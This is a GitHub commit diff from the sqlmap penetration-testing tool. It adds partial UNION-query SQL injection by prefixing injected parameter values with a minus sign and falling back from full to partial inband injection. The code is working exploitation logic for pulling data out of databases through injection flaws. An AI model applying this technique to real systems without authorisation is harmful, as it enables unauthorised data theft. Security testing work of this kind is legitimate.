Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 578bcb9

Browse files
committed
Initial support for partial UNION query sql injection
1 parent f97585c commit 578bcb9

5 files changed

Lines changed: 41 additions & 15 deletions

File tree

lib/core/agent.py

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -47,24 +47,29 @@ def __init__(self):
4747
temp.stop = randomStr(6)
4848

4949

50-
def payload(self, place=None, parameter=None, value=None, newValue=None):
50+
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
5151
"""
5252
This method replaces the affected parameter with the SQL
5353
injection statement to request
5454
"""
5555

5656
retValue = ""
5757

58+
if negative == True or conf.paramNegative == True:
59+
negValue = "-"
60+
else:
61+
negValue = ""
62+
5863
# After identifing the injectable parameter
5964
if kb.injPlace == "User-Agent":
6065
retValue = kb.injParameter.replace(kb.injParameter,
61-
kb.injParameter + newValue)
66+
"%s%s" % (negValue, kb.injParameter + newValue))
6267
elif kb.injParameter:
6368
paramString = conf.parameters[kb.injPlace]
6469
paramDict = conf.paramDict[kb.injPlace]
6570
value = paramDict[kb.injParameter]
6671
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
67-
"%s=%s" % (kb.injParameter, value + newValue))
72+
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
6873

6974
# Before identifing the injectable parameter
7075
elif parameter == "User-Agent":

lib/core/option.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -540,6 +540,7 @@ def __setConfAttributes():
540540
conf.outputPath = None
541541
conf.paramDict = {}
542542
conf.parameters = {}
543+
conf.paramNegative = False
543544
conf.path = None
544545
conf.port = None
545546
conf.scheme = None

lib/techniques/inband/union/test.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ def unionTest():
9595

9696
query = agent.prefixQuery(" UNION ALL SELECT NULL")
9797

98-
for comment in ("", queries[kb.dbms].comment):
98+
for comment in (queries[kb.dbms].comment, ""):
9999
value = __effectiveUnionTest(query, comment)
100100

101101
if value:

lib/techniques/inband/union/use.py

Lines changed: 30 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,13 @@
4040
from lib.techniques.inband.union.test import unionTest
4141

4242

43-
def __unionPosition(count, expression):
44-
logMsg = "confirming inband sql injection on parameter "
43+
def __unionPosition(count, expression, negative=False):
44+
if negative:
45+
negLogMsg = "partial"
46+
else:
47+
negLogMsg = "full"
48+
49+
logMsg = "confirming %s inband sql injection on parameter " % negLogMsg
4550
logMsg += "'%s'" % kb.injParameter
4651
logger.info(logMsg)
4752

@@ -63,7 +68,7 @@ def __unionPosition(count, expression):
6368

6469
# Forge the inband SQL injection request
6570
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
66-
payload = agent.payload(newValue=query)
71+
payload = agent.payload(newValue=query, negative=negative)
6772

6873
# Perform the request
6974
resultPage = Request.queryPage(payload, content=True)
@@ -82,13 +87,16 @@ def __unionPosition(count, expression):
8287

8388
if isinstance(kb.unionPosition, int):
8489
logMsg = "the target url is affected by an exploitable "
85-
logMsg += "inband sql injection vulnerability"
90+
logMsg += "%s inband sql injection vulnerability" % negLogMsg
8691
logger.info(logMsg)
8792
else:
8893
warnMsg = "the target url is not affected by an exploitable "
89-
warnMsg += "inband sql injection vulnerability, sqlmap will "
90-
warnMsg += "retrieve the expression output through blind sql "
91-
warnMsg += "injection technique"
94+
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
95+
96+
if negLogMsg == "partial":
97+
warnMsg += ", sqlmap will retrieve the expression output "
98+
warnMsg += "through blind sql injection technique"
99+
92100
logger.warn(warnMsg)
93101

94102
return count
@@ -101,9 +109,9 @@ def unionUse(expression):
101109
inband SQL injection on the affected url
102110
"""
103111

104-
count = 0
112+
count = 0
105113
origExpr = expression
106-
start = time.time()
114+
start = time.time()
107115

108116
if not kb.unionCount:
109117
unionTest()
@@ -120,10 +128,21 @@ def unionUse(expression):
120128
if not isinstance(kb.unionPosition, int):
121129
count = __unionPosition(count, expression)
122130

123-
# Assure that the above function found the exploitable inband
131+
# Assure that the above function found the exploitable full inband
124132
# SQL injection position
125133
if not isinstance(kb.unionPosition, int):
126-
return
134+
count = __unionPosition(count, expression, True)
135+
136+
# Assure that the above function found the exploitable partial
137+
# inband SQL injection position
138+
if not isinstance(kb.unionPosition, int):
139+
return
140+
else:
141+
conf.paramNegative = True
142+
143+
# TODO: if conf.paramNegative == True and query can returns multiple
144+
# entries, get once per time in a for cycle, see lib/request/inject.py
145+
# like for --sql-query and --sql-shell
127146

128147
# Forge the inband SQL injection request
129148
query = agent.forgeInbandQuery(expression)

sqlmap.conf

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
55
# PHP and MySQL (local)
66
url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1
7+
#url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1
78
# PHP and Oracle (local)
89
#url = http://127.0.0.1/sqlmap/oracle/get_int.php?id=1
910
# PHP and PostgreSQL (local)

0 commit comments

Comments
 (0)